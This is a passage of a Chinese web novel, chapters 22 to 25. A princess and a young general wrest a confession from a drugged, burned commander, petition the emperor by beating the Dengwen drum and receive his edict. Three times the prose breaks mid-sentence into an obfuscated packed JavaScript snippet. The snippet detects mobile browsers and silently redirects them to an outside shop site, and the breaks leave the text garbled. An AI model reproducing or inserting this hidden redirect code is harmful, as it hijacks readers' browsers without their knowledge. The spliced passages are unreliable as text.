“怎么？让你们管个饭而已，公主府是吃不起么？”闻玄机一下子坐直身子，不可思议地看向他们两个。 “东城百听阁，一直用的是这家的煤么？”牧晓认真问他。 “对。为了安全，为了稳定，东城这边不会看低价买物，几乎只在相同几家购入物品。”闻玄机意识到，“就硫磺那个味，要是煤里一直有硫磺助燃，那菜必不可能好吃。这次的煤是特殊的。” “除了咬死不报成天灾方向，剩下的自己查查，或者直接与官府和波及民众协同配合便是。”牧晓给他划了个底线。 “刘指挥那几句巧合，说得我都快心动了。各方无事，有什么不好？你们还有别的安排？”闻玄机不解地问。 “你不是京城人？”苏墨清虽然在问他，但是肯定语气。 “这和我是不是京城人关系大么？”闻玄机疑惑反问。 “要是在京城牵扯上‘天灾’二字，被有心人大做文章，挺麻烦的。”牧晓解答他的问题，“我在京时，没觉得长辈常去寺庙祈福之类，是什么稀罕事。京中许多人为求功名，求顺遂，在家中也供奉、信仰很多神像。” “但在天灾频发的地方，在距京千山万水的地方，我见过百姓拆庙宇取暖，砸土像果腹，仍念‘上天保佑’。” “在京，天灾是件可以拿来做文章的事，可以成为上天或神降下示意的预兆；但京城之外，比如你的家乡，你听过自己的长辈拿天灾开玩笑、做文章么？”牧晓轻声问闻玄机。 “没有。如果有不懂事的小辈这样说，长辈会捂住他们的嘴，然后罚他们去没有屋顶的空旷之处，磕几个响头，给老天道歉。”闻玄机说完后默然。 信神为成事，与求神只因绝望，差别太大。前者可以将天灾连上神意后，当成工具兴风作浪；而后者，当洪水、瘟疫、饥荒等灾难席卷他们的家乡时，他们会立刻明白，神不会伸出臂膀拦下天灾。他们只能把自己寄托在虚无缥缈的希望上，或提起工具，或迈开双腿，为自己蝼蚁般的命奋力一搏。 在京城，事端不会因为提到天灾就噤声。天灾捂不住百官与勋贵的嘴。 只有皇权可以。 “我懂了。那殿下让我给刘彦劲带的话，只是为了探探他是否与兵部刘尚书有深层牵扯么？”闻玄机点头后问起另一件事。 “不算是。但现在还没有发现什么实质性证据。”牧晓与苏墨清对视一眼后，直言不讳，“虽然这位刘尚书与苏老将军私交甚好，但我有疑心。恰恰是因为姚姨随口说的那句评价，我觉得他在这几件事中显得太被动，又在局外人眼中显得太无辜。他和他手下的兵部，有几分我说不上来的别扭和古怪。” “兵部总体是敌是友，我暂时做不出判断。” 22.惊雷打雪 “兵部递上急报，邢承远所住京郊客栈房间突然起火，具体原因暂时不详，结果是只烧伤了他一人。因伤势较重，各方急议后，现特批就近送入往尘寺就医。”露秋进门后快速禀报。 牧晓意味不明地扯扯嘴角，靠着门框自我评价道：“行。听起来真像我干的。送我一场大火，我就还一场，冤冤相报之意出来了。” “实际上呢？”刚被她拽到门边的苏墨清跨出门槛，在月色下回头问她。 牧晓继续拉起他，快步走上青石板路，边走边答：“归根结底就是我干的。抓紧时间，今晚说不定能吓出点有意思的东西。” “这位邢将军，天不怕地不怕，怕鬼。” · “你们两个，每隔半个时辰用湿布敷一次，如有呼吸不畅或情况突然恶化，又或是他依然试图自尽，立刻叫门口守卫。”负责押运的官差皱眉吩咐寺中人。 “是。”黄连和黄芪低眉俯首，应声道。 她们原是西南军户之女。父亲阵亡后，其家的军屯田被邢都指挥佥事大手一挥，强行划拨给亲信手下，连父亲的抚恤金都被克扣。她们失去生活来源，想讨个说法，不料被赶出卫所驻地，流离失所。她们不服，一路上告却一路碰壁，直到在绝望之中，求告到西南昭灵公主府。 她们已在往尘寺中住了半月有余，现在的身份是寺中略通医术的修行之人。 榻上的邢承远因严重烧伤，正浑身抽搐、高烧不退，紧咬的牙关咯咯作响。 突然，他听到飘飘渺渺的话语，像沉在水底之人听到岸上之人发出的声音，又似乎近在耳畔。 他以为是医者，挣扎几番尽力去听。 那两道声音骤然清晰：“还记得我们么？我们来索你的命。” 邢承远目眦欲裂，胸膛快速起伏，嘴里发出风箱般隆隆的粗重喘息，竭力喊：“不要，装神弄鬼……你们，是谁？“ 没人回答他。 “邢承远，还记得我么？”这次声音从更远的地方传来。 “你，你死了三年了。”邢承远眼前更加模糊，努力睁大眼睛却看不清任何东西，身上原本灼热难耐处变得麻木。 他脑中一片混沌。自己大概已经死了。那两道声音是黑白无常，第二道声音，是三年前被他害死之人。是那姓段的，还是姓苏的？他浑浑噩噩想不起来。 “既到阎王殿，邢承远，还不报上罪状？”黑无常咯咯笑着，语气充满诱导意味，“说说，你对面前之人犯下何罪？如实报来。” 邢承远喃喃一通。妹妹黄芪靠在床边仔细分辨，并不时出言引导；姐姐黄连在纸上记下他吐出来的、支离破碎的词，尽量排列成句。 纸上出现：段毒苏；我故意，段死；苏命不久，我任，死；苏死……苏死后，我瞒，抢功，改……我悔，我恨，兵部……昭灵，火，蛮烧……火…… 提到火字，邢承远一时激动，喉头咕咕作响卡住，抽搐得愈发厉害，吐不出清楚的字，随后晕了过去。 靠在床边的黄芪上手狠狠扇了他几巴掌，还是没能把他扇醒。 “以我们的能力，至幻药、麻药和醒神药的配比和使用，只能到这个地步。剂量再大，有立刻暴毙的风险。”黄连见妹妹没成功，果断起身走向旁边坐着的两人，双手把纸条奉上。 牧晓接过纸条，蹙眉看了几眼，递给身旁人后，对黄连道：“辛苦你们了。” 黄连附身要跪，见牧晓摇摇头，她站着一礼，退到床边去找妹妹。 黄芪轻声问姐姐：“恩人要的信息算拿到了吗？我想问问恩人，我们能不能现在就杀了他？再打几下，他说不定就死了。” “再忍忍。别给恩人找麻烦。现在打死他岂不是给他解脱？他逃不出王法。公道很快就来。”黄连对妹妹的提议心动一瞬，但很快压制住。 牧晓能隐约听见两姐妹说的话，但没有出言干涉。她算了算时间，起身与身旁人一同从后山出了往尘寺。 弯月挂林梢，钩起一群飞鸦，碎散而去。 “邢承远说的你看到了。我们怎样分辨他口中的苏姓，是你，还是苏老将军？”牧晓的声音与青苔路旁的泉一同叮咚坠进岩隙。 “那几句放在我和我父亲身上都可以适用。蹊跷的是，在他口中，‘瞒’与‘抢功’发生在我们的死亡之后，以及段弈钧是怎么和‘毒’这个字扯上关系的。”苏墨清与她携手并肩向山下走，“前者若能存在，证明我父亲的死亡可能早于军中书写战报的时间；后者暗示在邢承远眼中，段弈钧也不是纯粹无辜的苦主形象。” “跳出玄岳关之事，我之前一直觉得，段家上上下下都是我皇兄的人，段弈钧也是他特意放在西南军中的钉子。”牧晓忆起这个遥远的猜测，“但让他给你或苏老将军下毒，实在强人所难。赐毒酒这种桥段，不如让监军宦官来做。” “但死亡与战报书写这个顺序问题，”夜间石阶湿滑，牧晓牵着他的手紧了紧，脚步放慢，“战报向来是谁统兵，谁负责撰写。当年的战报，确实有苏老将军的签名和手印。” “不过按照时间推断，他审核战报时极有可能真如邢承远所说，处于‘命不久矣’的状态。手印为真，签名的真实性很难苛求。”牧晓在一个小路口站定，抬头辨认月亮方位后，转向右边小道，“这边。” 右侧小道更加人迹罕至。地上松针紧裹白霜，被斑驳月光筛出涩香，风与蛛丝悬吊的枯叶在枝头低语轻诵。 山林静矗，路不转人转，一座座小堂映入眼帘。 “文昌帝新立的规矩，战事中，凡一队誓死抵抗且近乎全军覆没，可在往尘寺后山腰处立堂。”牧晓站在其中一扇门前，比上朝上香时更加庄重且诚心，“这是你那一队的。你来推门吧。” 苏墨清缓缓推开门，一盏盏微弱的烛光散出门缝。 与一般祠堂不同，神龛中放的不是牌位，而是挂起一封封被鲜血浸透过的手书。 走近看，手书的材质各有不同。破布料，毛边纸，树皮，兽皮，叶片……易于获取且能用来书写的材质，几乎皆聚于此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795279|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。上面的字迹多是仓促写就，笔峰遒劲的，歪歪斜斜的，若孩童涂鸦错字漏划的……各类笔迹与写字方法，在此云集，写下同一句话： “愿为前锋随将入小玄岳关，生死不论。” 落款为姓名和血指印。 些许字迹已不可见，被发黑的血渍血痂完全覆盖；些许手书已泛黄发脆，薄到风一触即碎；些许残缺不全，只余一角，似一封可被补全的无字之信，从三年前寄到如今，与松间凛冽风诉说赤诚忠义，与林梢月肝胆相照，互鉴剔透之心。 只有右下角的一格神龛空着。 属于唯一未被敛回尸骨之人。 站在月光与烛光的交界处，凝视着昔日同袍最后的手书，苏墨清袖中拳攥紧，浑身颤抖，似那被蛛丝吊在枝头的枯叶。半晌，他突然爆发出一阵半悲半喜的凄厉惨笑。 原来你们都知此行入关，凶多吉少，有去无回。 只有我不知啊。 我所有的谋划，都只为把你们一个个全须全尾地带回来。 在我与你们商讨怎样完成任务且活着回去时，你们笑得那样洒脱，是在想什么呢？在最后一夜，我问你们荣归故里后有何愿望，你们答时，心里也曾重燃过期许么？血战到最后一刻，你们也叹过我天真，叹过自己期许成空，只愿魂归故里么？ 父亲啊，世人赞你用兵如神，真是名不虚传。 你给一支注定难以归来的队伍，一群誓死如归、铁血丹心的精锐士兵，还有一个充满希望、注定拼命带队求生的可笑将领。他们注定孤立无援，在大小玄岳关之间以小搏大、向死而生，苦苦周旋到最后一刻。遇了最多的敌，施了数不清的计，终究没能逃脱在开头既定的命。 你用兵如神，却怎么就没能力替这支队伍守好最后的战果？ 战报上写我们亡于18日啊，玄岳关之战的第二日。到底只为迷惑敌军，还是你真的认为，我们只能撑一日？那一寨为何无兵回援，左上部敌军为何被快速歼灭，被你们放出大玄岳关的主力为何没能第一时间四散奔逃，你们派去拦截左下部敌军的支，派得又真的及时么？ 你呀，怎么能让这些真正忠义之士的功绩，被埋没于西南支离破碎的山涧？怎么能让他们在意的家人，得不到那份真正应得的抚恤和荣光？怎么能让他们的坚守，显得和他们天真的将领一样可笑可悲？ 住在山上的邢将军，曾看过山下他们曾放于胸膛前手书么？怕鬼……你是得怕鬼，普通兵卒的血肉和信念，只是你仕途晋升路上微不足道的垫脚石、攀云梯么？他们在天看到你提笔写下不实的战报，真的能瞑目么？ 苏墨清跪倒在堂中冰冷的地上，对着神龛中一封封手书，磕了有生以来最虔诚、最决绝的头。 牧晓也一揽衣袍郑重跪地，与他一同拜这些将士。 一道无声的闪电划破长空，惊雷轰鸣隆隆滚来，如影而至。 门外，雪越下越密，越下越急，成团雪沫被狂风飞卷，拍打在门板上。 是场罕见的雷打雪。 23.登闻鼓鸣 “咚——咚咚咚”如惊雷滚过寸寸冻土，鼓声直入午门，刚才还在激烈争执的朝堂上骤然一片死寂。 到底是谁在敲登闻鼓？ 大周朝敲登闻鼓者少之又少。因前朝敲登闻鼓需先被廷杖责打，且结局大多不尽如人意，甚至有登闻鼓前陈冤者多次血溅三尺的例子。以至于带朝换代十多年来，虽然新朝废了鼓前廷杖，官方鼓励有重大冤情者敲鼓鸣冤，但洛水刑场在前，敢敲鼓者仍是了了。 文昌帝刚才还在听群臣争论邢都指挥佥事的案子，听到登闻鼓响，微微一顿后，直接道：“呈上诉状，带人上殿。”他们还是来了。 两人皆着丧服，白衣入殿。 群臣侧目，满殿皆惊。 是昭灵公主和当年的苏小将军。 这又是闹得哪一出？朝中争执已久的僵局，今日终要了结个干脆利落了么？ “陛下，臣有冤情上奏。玄岳关之战，战报有误，有指挥失当、徇私舞弊、冒领军功者。递状兵部，迟迟未有答复。求陛下圣鉴。” “陛下，臣亦有冤情上奏。西南都指挥佥事横行多年，只求陛下看一看这诉状，看一看西南百姓的血泪！” 两人同时叩拜。一个为逝去同袍鸣不平，一个为西南百姓争公理。 段御史因他们进殿而退回列中，此刻神色微松，无声地长舒一口气。 听苏小将军提及兵部二字，刘尚书手中笏板轻颤一下，一息之间恢复稳定。 礼部姚尚书，原本一直在队列中置身事端之外，听后皱眉出列道：“陛下，这不合规矩。” “无妨。”文昌帝心平气和掷下二字，又意味深长地问，“苏将军和昭灵公主这两身丧服，是谓何意？” “臣为玄岳关间难以瞑目的将士，冒死进谏。”苏墨清敛容肃然道。 “臣为西南枉死百姓的冤魂，为因流离失所而丧命者的在天之灵。”牧晓的话语掷地有声，铿锵有力。她高举手中书信，“诉状之上字字实情，此处还有受害西南百姓按捺的指印。” “臣在西南府中，初次听见门外有女子跪于隆冬雪地，凄声哭诉自家失兄、失父、失田、失屋的悲凉经历，叩首恳求公主府为他们主持公道，心神大震，哀其不幸之余，更怒其为何求告无门，为何处处碰壁，为何会携幼妹在朔雪寒风中背井离乡、流离失所。” “那求上臣府门的女子还不到及笄，其幼妹不过总角，在本该与家人围炉闲坐、笑谈细碎趣事的雪夜，为何急叩臣的府门，为何会一腔悲愤与孤勇，顶天席地痛陈冤情？她们本是在家中被视若珍宝的妹妹、女儿，但她们的兄长死于矿难，父亲恰在当年小段将军军中，殒命玄岳关；她们作为将士遗孤，怎能落到抚恤金被克扣、田地被强行分与他人的下场？” “更令臣触目惊心的是，此番遭遇并非个例。臣本无权管问，但惊心之余，暗暗推己及人、将心比心，实在不忍。” 言及此处，牧晓声音逐渐放低，闭了闭眼，心中告诫自己点到为止。 几息后，她重新开口，高声请命：“求陛下为玄岳关战死将士做主，求陛下为西南百姓做主。” 沉冤狠狠砸在奉天殿中，高台上下一片死寂。 半晌，高台之上传来文昌帝的声音：“是朕之过。” 群臣如潮水般沉默跪地。 “诸事已明，众卿无需再多言。朕与内阁商议后，择日下旨。”文昌帝一锤定音，不再允许群臣争论。 距圣裁下达已是不远。 退朝后，下殿路上，纪公公拦住牧晓：“公主殿下，陛下请二位往偏殿小叙。” 牧晓猛然往奉天殿方向回头，回到一半僵住，强迫自己收回往殿上看的目光道：“有劳公公带路。” 牧晓看到苏墨清暗中指了下身上的丧服，又对纪公公加了一句：“敢问陛下可否容我们换身衣服再去？” “陛下已在偏殿等着了。殿下还是莫要为难老奴了。”纪公公恭敬答道。 二人无奈对视一眼，转身往偏殿方向走去。 · 偏殿屋内炭火烧得旺，牧晓被风吹得发凉的指节，在进门后开始寸寸回温。 看到屋内的炭盆，牧晓忍不住想，自己现在这一身，要是往里面撒把纸钱，或许会更应景。 “坐。现在没旁人。”牧晞看着奏折，随手往前面两个摆好的凳子上一指。 又是这种态度。牧晓现在每次见她皇兄都如坐针毡。 恰恰因为她儿时与兄长和父母的关系都很亲近，所以在一家人身份转变后，她实在不知怎样调和这种别扭感。特别是得知兄长继位前夕，另外三人几乎拔剑相向的紧张关系后，牧晓着实茫然了一段时间。 他们对她的态度，从牧府到皇宫，似乎一直没有太大改变。她并不是个多么迟钝的人，但有她在的场合，她没太觉察出另外三人之间的关系，有什么实质性的改变。 但实际上，她的父亲、母亲和兄长，已明里暗里在朝堂事、后宫怨中刀光剑影、针锋相对过不知多少回合了。 或许是因为自己对他们从来构不成威胁吧。牧晓在心里苦笑。也好，她还可以继续试探，试探她皇兄的底线在哪里…… “挺会利用自己的优势。”牧晞的声音随着翻奏折的声音悠悠响起。 牧晓心中惊跳，第一反应是自己刚才所想被皇兄看透了。顷刻间冷静下来，她意识到皇兄大概是说朝堂上的陈词，于是面上展颜一笑：“后悔当年没像皇兄劝导的那样，好好上先生的课，多背几页书。现在让我写正经的请愿书，我是写不出彩的。只能凭自己的所见所感，如实道来。” “敲登闻鼓，是你们谁想出来的。”牧晞的语气不变，依然随意，“随便聊聊天。保证说什么都赦你们无罪。” 牧晓暗暗磨牙想，既然知道我们放不开，还这么说，倒不如直接兴师问罪来得痛快。 “是我。”她顺嘴应了下来，“皇兄既然这么说，那就算我私自揣测圣意，也赦我无罪？” “自然。”牧晞颜色不改。 牧晓看不出什么意思倾向，心中叹口气，觉得还是实话实说比较适合自己：“我不知道皇兄在等什么。想来想去也没想明白。” “继续。” 继续什么？和先生训话似的。牧晓心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16800679|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里没底，硬着头皮继续说：“上次见皇兄，皇兄显然面上没想和我关系太好。我想面圣，内廷递请又不能干政，皇兄也不召见，还能有什么法子？” “继续。”不知道牧晞信没信，但还是这两个字。 到底要说到什么地步。牧晓深吸一口气：“而且我发现议礼之争竟没有完全平息。这点我实在不懂。但我觉得皇兄可能是想广开言路，自然就想到了登闻鼓。有什么比登闻鼓更能体现广开言路四个字呢？我求告无门的时候，第一时间想到的都是它。” “与其坐等那个不知道什么时候会下来、且完全不可控的结果，不如上殿看看。” “我不知道朝中对这件事到底讨论到什么程度、有没有查到什么新东西，但我依旧坚持我想坚持的。就是被责罚被降罪，我也认了。”牧晓心一横，一口气说道。 “议礼之争是不会停的。”牧晞放下那本奏折，在换奏折的间隙抬眸扫了她一眼，用新奏章指了一下苏墨清：“该你了。你认可她说的？” “自然。” 牧晞哼笑一声：“要是让你不认可呢？” “那登闻鼓就是臣想敲的。臣相当有动机。任谁回来都咽不下这口气。”苏墨清觉得，反正说什么都有可能触了这位陛下的霉头，还不如想说什么说什么。两个人一人一身丧服坐在这里，本就是件古怪事。 “那丧服呢？嗯？”牧晞接着问。 苏墨清顺势接上：“自然也是臣想穿的。臣在山林间未曾替父守孝。这点陛下召暮药师来，一问便知。” 一个避重就轻，一个见人说人话，见鬼说鬼话。 “那邢承远呢？”牧晞不紧不慢问。 “邢将军自然有他的报应。”两人异口同声，不约而同说。 牧晓受不了这种既不严肃，又实在不平等的问话氛围。她抬手拍在自己脑门上，闭了闭眼，自行开口问：“邢将军不是在刑部大牢呆着么？问我们有什么用。他要是即将问斩，我这次欣然监斩。” “陛下，兵部刘尚书求见。说是前来请罪。”纪公公进来通传。 “让他进来。”牧晞漫不经心道。 “是。” 刘尚书进门后发现坐着的两人，脚步一顿，行礼后见文昌帝仍没有让两位出去的意思，还是跪地请罪道：“臣有罪。苏将军的诉状直递兵部，然而玄岳关之战过去已久，多方查证相当艰难，故而迟迟未定结论；邢承远畏罪自焚一事，亦是兵部看管不当。” “畏罪自焚？”牧晓显得有些惊讶，忍不住不合时宜地插话。 牧晞瞥了她一眼，没管两人说的任何一句话，而是问刘尚书：“这炭火可算暖和？” 刘尚书愣怔后答道：“回陛下，暖和。” 牧晞吩咐纪公公道：“给昭灵公主府和兵部各送去一盆。” “谢陛下。”“谢陛下赏赐。”两边都在谢恩。 刘尚书冷汗缓缓浸湿后背衣衫。 牧晓倒是坦然得多，笑容满面的样子，看起来还想再讨一盆。 但绑上这盆炭火，她的心狠狠往下坠了坠。 真的能如愿以偿么？ 24.小试赌局 牧晓和苏墨清退出偏殿时，与内阁几位老臣相互施礼后擦肩而过，一方向烛火炭火噤声长明的屋内，一方向阳光正好却并不温暖的室外。 偏殿的门在身后轻声关上，像是把沙漏反转后，放到桌上的声音。 沙漏到底，这场博弈的第一回合，便会落下帷幕。 “冬至大宴前，应该都用不着再进宫了。”牧晓长舒一口气，问苏墨清，“刚才退朝时，姚老先生是不是和我们说了什么来着？” “他摇了摇头，说了两个字‘荒唐’。”苏墨清想了想，模仿姚尚书的语气答道。 “他还是这么喜欢这两个字。”牧晓轻笑一声，回头瞥一眼身后的登闻鼓，“怎么，登闻鼓不由我们来敲，还由黄连黄芪两姐妹来么？这种事我做不出来。她们帮的忙已经够多了，再卷上朝中事，就是能从登闻鼓前顺利脱身，日后要想保平安，大概只能一直待在公主府了。” “礼部觉得荒唐又如何？我看我皇兄对登闻鼓响满意得很，还能接我关于议礼之争的问题。”牧晓搓搓再次发凉的手，觉得皇兄与其赏她一盆炭直接送到府中，不如当殿给她塞个暖手炉来得实用。 丧服都穿上了，里面不好再套太多。这种近乎滴水成冰的天里，从公主府一路走到登闻鼓前，再一路走上朝，实在不是什么好滋味。 不知黄氏姐妹当年是怎样一路迎着风雪蹒跚跋涉，才能到公主府前叩门。牧晓心中叹息。 来时闹得阵仗已够大了，要是再一路走回去，倒像在示威。 两人上了马车，给对方披上裘衣，系上系带，一起捧着一个手炉取暖。 “有什么想知道的么？”苏墨清突然问牧晓。 牧晓动作一顿，沉默片刻后笑起来，把手直接附到他的手背上：“暂时先别说了。万一内阁那边在殿内吵个没完，再召我们进宫怎么办。皇兄实在是太熟悉我了。我要是知道太多，在他眼里就会真变成你们的同谋。” “不过我猜，无非就是东城百听阁到底是怎么烧起来的，还有你和刘尚书之间到底做了什么交易。” “至少等这次的结果下来吧。”牧晓随意往他身上一靠，“我倒不是对这次的结果没信心。要是在这么证据齐全、因果完善情况下，要是我们敲登闻鼓都没用，还不如直接烧了这面鼓给天下人取暖逗乐。顺水推舟建立登闻鼓的威信多好。” “但还会牵出什么事端，可就难说了。” 牧晓找了个自己舒服的姿势彻底放松，懒散地问：“礼尚往来。你有什么想问的？你又猜到了什么？” “你有除了内廷递请以外的面圣方式，但是这次没选择用。对么？”苏墨清保持不动，任她靠着。 “对。”牧晓干脆地答道，“内廷递请，走皇后和太皇太后那边，都可以面圣，但不能言政。要言政，要面圣，写奏折递上去就行。” “不过，要过层层审核，最后呈上去的东西，也就是给皇兄瞥一眼，讲的东西也就是御史台、兵部、刑部多方递过无数次的。他们能拖这么久，差的又不是信息和真相，他们只是在争罢了。” “我选择敲登闻鼓，也是在争。” 谁又比谁高明，谁又比谁高尚呢。不过都是在争。牧晓倦怠地想，要是能在这个温暖的马车里这样靠一辈子就好了。 从皇宫到公主府的距离，走路不短，但坐马车实在不长，甚至都不够她在马车上小憩一会。 马车一停，她这样瘫一辈子的小遐想就又碎了。 下了马车，庭中寒风带走余温，她清醒过来，快步回屋换下身上的丧服，去书房处理事务。 顺便等待宫中消息。 说是“择日下旨”，都推到这一步了，无非就是今明两天的事。 “怎么和当年，等待先生下发昨日小试结果和批语似的。”牧晓看着今日第三次写错的字，无奈自嘲，“这么多年也没点长进。” 芒夏在一旁整理文书，听牧晓这么说，笑道：“殿下当年还问过姚老先生，能不能写完小试，马上现场批阅，现场出结果。” “是啊，但我现在又不能冲到皇宫去，对我皇兄和内阁老臣们说‘再不拟旨我就掀了你们的炉子’。”牧晓失笑道，“姚老先生当年最多说几句不要心急、焦躁无用之类的话，现在要是真这样做，可没那么不痛不痒了。” 她放下笔，趴到桌上，看着芒夏整理纸张书文，恍惚间觉得自己还在学堂中，也就和崇仪一般大吧，每日任务就是与先生斗智斗勇，顺便想想写完课业后去哪里逛逛，回府后要不要揪着父母的袖子，问他们不忙的话，能不能亲自下厨，一人做一道自己想吃的菜肴。 思绪越飘越远，她想，现在大概已经没几人记得，她的父母和兄长其实都是会下厨的。 父亲会的家常菜式其实很多，大概是年少不得祖母欢心，早早就自立门户的缘故；楚家当年就兴盛，母亲兴致上来时动手捏的糕点，颇有几分宫中样式；兄长少时据说曾进山拜师过一段时间，会做，但也就是饿不死、毒不死自己和别人的水准。 想到这里，牧晓闷头笑了几声，笑声飘入自己的耳中，她顿住了。 果然不能多待在府中胡思乱想。牧晓垂眸心想。 怀念二字说起来如水上漂叶般轻巧，但时节如流，永远潺潺向前。那片无根的水上浮叶，从未拥有抵抗洪流的能力，只能顺水而下、任意西东。 牧晓暗暗对自己道，何必刻舟求剑？顺流扬帆，即使无法控制最终方向，远方仍是更广阔的天地。 我在等什么结果？ 我这次想要的是什么？ 能光明正大奏折直递御前，能以政务直接面圣的机会，能上朝能听政的权利； 再有冤屈孤苦者叩门，不会手足无措，不会被以无权干涉地方事务为由搪塞； 再见不平事，能选择不平则鸣，能召起更强的力量，能达到心之所向的目标，能护住自己所有想护之人。 长辈总是以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16805564|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诫的语气说这类荒唐的构想：真是不撞南墙不回头。 这次若是能成其中半句，就算圆满； 若是这次不成，日后总有机会，总有能敲碎南墙的锤可以借； 若是无力可借，那自己撞破南墙，也终能走出困局。 他人之意从来不可测。 这哪里是在等旨意、等结果，这简直就是在赌啊。 学堂小试，评的是个人学识，尚有改进余地；现在面前既是场朝堂赌局，压上筹码，等它揭盅便是。 牧晓此刻豁然开朗，在芒夏不解的目光中重新拿起笔，定定心神，准备重写那错字。 此时，门外传来露秋的声音：“殿下，宫中来人传旨。请殿下与苏小将军接旨。” · 传旨人走后，牧晓握着旨意左看右看，神色变幻几番，最后总结：“先夸我们一通。你这边，认可你递上去的战争事实，给你们重算军功。罪责全推给邢承远，大概承认核查不严，但拒绝承认徇私舞弊、指挥失当。最后让你去教牧崇佑——不是虚职，似乎要真教。” “我这边，罪责也全推给邢承远。没让我监斩——天，让我自己主刀砍他脑袋。”牧晓对着相当长的圣旨总结到这里，忍不住感慨，“不是说我不想砍他——我其实想砍他很久了。只是实在没想到，监斩还能再晋升一级。下次准备让我干什么？学学凌迟的手艺？还是让我拜屠户为师，以后宫里开宴，我当场表演个杀牛宰羊？” “还给了我一个没有实际职位的权力。”牧晓看到这里挑了挑眉，“监督新建不久的通政司，不定期抽查核验通政司整理的奏章。看起来很像御史，限制和规矩更少，似乎更像朝中登闻鼓，不用敲，可能自己冷不丁响一声，也可能从来不响。” 其实这道旨意所代表的结果还算不错，但两人都没有预想中的那样畅快。 邢承远一人就能做尽这所有事么？别的不提，这两件事的交汇点，兵部，就这样被轻轻拿起又轻轻放下了。 牧晓再次意识到，朝中议事结果，仅是权衡而非正义。堪堪剜去表面的脓疮邢承远，已要费很大的气力。更何况剜了他，又替多少人平了多少账目呢？ “慢慢来。该杀的也得一个一个杀。”苏墨清悠悠说道。 牧晓听到这话拍手笑了起来：“有道理。干什么都得排队，掉脑袋也不例外。” 说完，她话锋一转，换个更轻松的话题：“你准备教牧崇佑什么？” “问问他想学什么。他要是没什么想学的，那就从西南部族语言开始慢慢讲。”苏墨清对教牧崇佑这件事本身没有什么特殊的想法。 “希望他不要睡着。”牧晓听到西南语言，语气里充满对牧崇佑的同情。 “你准备怎么砍邢承远？”苏墨清回问她。 “我在砍人上经验还算丰富。拿刀……”牧晓顺口说到一半，掂了掂手里的圣旨，意识到，“我有机会直接问他话了。这么看还挺不错的。” 25.囹圄之问 “邢承远，明日问斩，还有什么遗言么？”牧晓抱臂斜坐在椅上，平静的目光穿过牢门铁栏的间隙，审视着蜷缩在地的邢承远。 这声音在邢承远脑中如那日爆燃的炭火般炸开，炸得他一哆嗦。 他猛然抬头恶狠狠地盯向牧晓。若是如刀目光能杀人，他心里定是已将她千刀万剐。 “事已至此，显而易见，昭灵公主赢了。我还有什么好说的。”邢承远用那只完好的手掌撑起自己的身体，试图显得更有尊严些。他的声音里没有消沉或认输的意思，似乎早就预料到自己有这一天，但仍心有不甘。 “原是我小看了昭灵公主，落得杀身之祸。”这句话在邢承远嘴中不知咀嚼多少回，终于有机会吐出，倒让他平添了几分快意，“今日形势与三年前倒转，我烧伤伏地，公主悠然闲适，一报还一报罢了。公主尽管看我的笑话，看个够吧。” “你知道你被砍的原因，不是因为三年前隔岸观火、袖手旁观么？”牧晓蹙眉，觉得他的关注点相当奇怪。私仇私报，公道公断。两人的私仇，还他场火还不够么？ “我的罪名？我不过当了所有人的挡箭牌、出头鸟。在这个位置上还想向上爬，总是要做点见不得光的事。”邢承远对自己写在官文上的罪名不屑一顾，“不是所有人都有公主和苏小将军那样的好出身，能有人一路保驾护航。” “我知道了。公主前来，是想知道玄岳关的事？”邢承远调转话锋，眯起眼睛，找到了可以占据上风的地方，在如此狼狈的情况下得意一笑，“公主害我至此，还想从我这个将死之人嘴里听到些有用的？” “休想”二字在邢承远嘴边兜兜转转，又被咽回去。惹怒明日的行刑人，自己要多受罪不说，万一将家人牵连得更深就不好了。 “我不明白，昭灵公主为何如此执着于玄岳关之事。”邢承远仰头靠在身后的铁栏上，坐在地上亦有几分高傲之态，“战功你们抢回去了，死去的人又活不过来。对公主来说，你到头来也没失去什么实在的东西。你们的结果还不够好么？真相真的那样重要么？” 在邢承远这里，什么过程、手段、心力、时间，都只是为了一个结果。结果有了，这些都是细枝末节，微不足道。 “你只需要回答，你是说，还是不说。”牧晓没兴趣和他解释。 小窗透进被分隔成一段一段的光片。 邢承远背对着窗口，看着地上自己被拉长的影，从未觉得自己这样像一个“囚”字。那些光束更像片片方刀，将他这个被困在栏中之人钉穿在地。 说还是不说？两个回答在他脑中撕扯拉锯。 他并不想为害他至此之人提供哪怕一丝一毫的帮助，但他不知为何，突然想起寺中那对医女姐妹，嘴角苍凉一勾，咳嗽几声后问牧晓：“往尘寺那两个小姑娘，你的人？听着是西南本地口音……昭灵公主还有这等好心肠？那我的妻女……” 